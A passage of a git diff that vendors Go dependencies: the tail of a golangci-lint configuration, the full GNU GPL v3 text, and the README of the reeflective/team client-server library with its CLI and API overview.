`golangci-lint run --help`. + # Default: true. + # exclude-use-default: false + + # If set to true exclude and exclude-rules regular expressions become case-sensitive. + # Default: false + # exclude-case-sensitive: false + + # The list of ids of default excludes to include or disable. + # Default: [] + # include: + # - EXC0002 # disable excluding of issues about comments from golint. + + # Maximum issues count per one linter. + # Set to 0 to disable. + # Default: 50 + # max-issues-per-linter: 0 + # Maximum count of issues with the same text. + # Set to 0 to disable. + # Default: 3 + max-same-issues: 0 + # Show only new issues: if there are unstaged changes or untracked files, + # only those changes are analyzed, else only changes in HEAD~ are analyzed. + # It's a super-useful option for integration of golangci-lint into existing large codebase. + # It's not practical to fix all existing issues at the moment of integration: + # much better don't allow issues in new code. + # + # Default: false. + new: true + # Show only new issues created after git revision `REV`. + new-from-rev: HEAD + # Show only new issues created in git patch with set file path. + new-from-patch: path/to/patch/file + # Fix found issues (if it's supported by the linter). + fix : true + +# +# ---------------------------- Issues severity manament -------------------------------- # +# +# severity: + # Set the default severity for issues. + # + # If severity rules are defined and the issues do not match or no severity is provided to the rule + # this will be the default severity applied. + # Severities should match the supported severity names of the selected out format. + # - Code climate: https://docs.codeclimate.com/docs/issues#issue-severity + # - Checkstyle: https://checkstyle.sourceforge.io/property_types.html#severity + # - GitHub: https://help.github.com/en/actions/reference/workflow-commands-for-github-actions#setting-an-error-message + # + # Default value is an empty string. + # default-severity: error + # If set to true `severity-rules` regular expressions become case-sensitive. + # Default: false + # case-sensitive: true + # When a list of severity rules are provided, severity information will be added to lint issues. + # Severity rules have the same filtering capability as exclude rules + # except you are allowed to specify one matcher per severity rule. + # Only affects out formats that support setting severity information. + # + # Default: [] + # rules: + # - linters: + # - dupl + # severity: info + +# +# ---------------------------- Per-linter Configuration -------------------------------- # +# diff --git a/vendor/github.com/reeflective/team/LICENSE b/vendor/github.com/reeflective/team/LICENSE new file mode 100644 index 0000000000..f288702d2f --- /dev/null +++ b/vendor/github.com/reeflective/team/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/vendor/github.com/reeflective/team/README.md b/vendor/github.com/reeflective/team/README.md new file mode 100644 index 0000000000..c3c5fcb160 --- /dev/null +++ b/vendor/github.com/reeflective/team/README.md @@ -0,0 +1,351 @@ + +
+

Team

+ +

Transform any Go program into a client of itself, remotely or locally.

+

Use, manage teamservers and clients with code, with their CLI, or both.

+
+ + + + + + +

+ + Github Actions (workflows) + + + + Go module version + + + + GoDoc reference + + + + Go Report Card + + + + codecov + + + + License: BSD-3 + +

+ + +----- +## Summary + +The client-server paradigm is an ubiquitous concept in computer science. Equally large and common is +the problem of building software that _collaborates_ easily with other peer programs. Although +writing collaborative software seems to be the daily task of many engineers around the world, +succeedingly and easily doing so in big programs as well as in smaller ones is not more easily done +than said. Difficulty still increases -and keeping in mind that humans use software and not the +inverse- when programs must enhance the capacity of humans to collaborate while not restricting the +number of ways they can do so, for small tasks as well as for complex ones. + +The `reeflective/team` library provides a small toolset for arbitrary programs (and especially those +controlled in more or less interactive ways) to collaborate together by acting as clients and +servers of each others, as part of a team. Teams being made of players (humans _and_ their tools), +the library focuses on offering a toolset for "human teaming": that is, treating software tools that +are either _teamclients_ or _teamservers_ of others, within a defined -generally restricted- team of +users, which shall generally be strictly and securely authenticated. + +The project originates from the refactoring of a security-oriented tool that used this approach to +clearly segregate client and server binary code (the former's not needing most of the latter's). +Besides, the large exposure of the said-tool to the CLI prompted the author of the +`reeflective/team` library to rethink how the notion of "collaborative programs" could be approached +and explored from different viewpoints: distinguishing between the tools' developers, and their +users. After having to reuse this core code for other projects, the idea appeared to extract the +relevant parts and to restructure and repackage them behind coherent interfaces (API and CLI). + + +----- +## Components & Terms + +The result consists in 2 Go packages (`client` and `server`) for programs needing to act as: +- A **Team client**: a program, or one of its components, that needs to rely on a "remote" program peer + to serve some functionality that is available to a team of users' tools. The program acting as a + _teamclient_ may do so for things as simple as sending a message to the team, or as complicated as a + compiler backend with which multiple client programs can send data to process and build. +- A **Team server**: The remote, server-side counterpart of the software teamclient. Again, the + teamserver can be doing anything, from simply notifying users' teamclient connections to all the team + all the way to handling very complex and resource-hungry tasks that can only be ran on a server host. + +Throughout this library and its documentation, various words are repeatedly employed: +- _teamclient_ refers to either the client-specific toolset provided by this library + (`team/client.Client` core type) or the software making use of this teamclient code. +- _teamserver_ refers to either the server-specific toolset provided to make a program serve its + functionality remotely, or to the tools embedding this code in order to do so. +- _team tool/s_ might be used to refer to programs using either or all of the library components at + large. + +----- +## Principles, Constraints & Features + +The library rests on several principles, constraints and ideas to fulfill its intended purpose: +- The library's sole aim is to **make most programs able to collaborate together** under the + paradigm of team clients and team servers, and to do so while ensuring performance, coherence, + ease of use and security of all processes and workflows involved. This, under the _separate + viewpoints_ of tool development, enhancement and usage. +- Ensure a **working-by-default toolset**, assuming that the time spent on any tool's configuration + is inversely proportional to its usage. Emphasis on this aspect should apply equally well to team + tools' users and developers. +- Ensure the **full, secure and reliable authentication of all team clients and servers' + interactions**, by using certificate-based communication encryption and user authentication, _aka_ + "zero-trust" model. Related and equally important, ensure the various team toolset interfaces + provide for easy and secure usage of their host tools. +- **Accomodate for the needs of developers to use more specific components**, at times or at points, + while not hampering on the working-by-default aspects of the team client/server toolset. Examples + include replacing parts or all of the transport, RPC, loggers, database and filesystem + backends. +- To that effect, the library offers **different interfaces to its functionality**: an API (Go code) + provides developers a working-by-default, simple and powerful way to instruct their software how + to collaborate with peers, and a CLI, for users to operate their team tools, manage their related + team configurations with ease, with a featured command-line tree to embed anywhere. +- Ensure that team client/server functionality can be **easily integrated in automated workflows**: + this is done by offering clear code/execution paths and behaviors, for both users and developers, + and by providing commands and functions to ease deployment of said tools. + +----- +## CLI (Users) + +The following extracts assume a program binary named `teamserver`, which is simply the root command +of the server-side team code. In this case therefore, the binary program only purpose its to be a +teamserver, with no application-specific logic, (and is therefore quite useless on its own): +``` +$ teamserver +Manage the application server-side teamserver and users + +Usage: + teamserver [command] + +teamserver control + client Client-only teamserver commands (import configs, show users, etc) + close Close a listener and remove it from persistent ones if it's one + daemon Start the teamserver in daemon mode (blocking) + listen Start a teamserver listener (non-blocking) + status Show the status of the teamserver (listeners, configurations, health...) + systemd Print a systemd unit file for the application teamserver, with options + +user management + delete Remove a user from the teamserver, and revoke all its current tokens + export Export a Certificate Authority file containing the teamserver users + import Import a certificate Authority file containing teamserver users + user Create a user for this teamserver and generate its client configuration file +``` + +In this example, this program comes with a client-only binary counterpart, `teamclient`. The latter +does not include any team server-specific code, and has therefore a much smaller command set: +``` +$ teamclient +Client-only teamserver commands (import configs, show users, etc) + +Usage: + teamclient [command] + +Available Commands: + import Import a teamserver client configuration file for teamserver + users Display a table of teamserver users and their status + version Print teamserver client version +``` + +With these example binaries at hand, below are some examples of workflows. +Starting with the `teamserver` binary (which might be under access/control of a team admin): +``` bash +# 1 - Generate a user for a local teamserver, and import users from a file. +teamserver user --name Michael --host localhost +teamserver import ~/.other_app/teamserver/certs/other_app_user-ca-cert.teamserver.pem + +# 2 - Start some teamserver listeners, then start the teamserver daemon (blocking). +# Use the application-defined default port in the first call, and instruct the server +# to start the listeners automatically when used in daemon mode with --persistent. +teamserver listen --host localhost --persistent +teamserver listen --host 172.10.0.10 --port 32333 --persistent +teamserver status # Prints the saved listeners, configured loggers, databases, etc. +teamserver daemon --host localhost --port 31337 # Blocking: serves all persistent listeners and a main one at localhost:31337 + +# 3 - Export and enable a systemd service configuration for the teamserver. +teamserver systemd # Use default host, port and listener stacks. +teamserver systemd --host localhost --binpath /path/to/teamserver # Specify binary path. +teamserver systemd --user --save ~/teamserver.service # Print to file instead of stdout. + +# 4 - Import the "remote" administrator configuration for (1), and use it. +teamserver client import ~/Michael_localhost.teamclient.cfg +teamserver client version # Print the client and the server version information. +teamserver client users # Print all users registered to the teamserver and their status. + +# 5 - Quality of life +teamserver _carapace # Source detailed the completion engine for the teamserver. +``` + +Continuing the `teamclient` binary (which is available to all users' tool in the team): +```bash +# Example 1 - Import a remote teamserver configuration file given by a team administrator. +teamclient import ~/Michael_localhost.teamclient.cfg + +# Example 2 - Query the server for its information. +teamclient users +teamclient version +``` + +----- +## API (Developers) + +The teamclient and teamserver APIs are designed with several things in mind as well: +- While users are free to use their tools teamclients/servers within the bounds of the provided + command-line interface tree (`teamserver` and `teamclient` commands), the developers using the + library have access to a slightly larger API, especially with regards to "selection strategies" + (grossly, the way tools' teamclients choose their remote teamservers before connecting to them). + This is equivalent of saying that tools developers should have identified 70% of all different + scenarios/valid operation mode for their tools, and program their teamclients accounting for this, + but let the users decide of the remaining 30% when using the tools teamclient/server CLI commands. +- The library makes it easy to embed a teamclient or a teamserver in existing codebases, or easy to + include it in the ones who will need it in the future. In 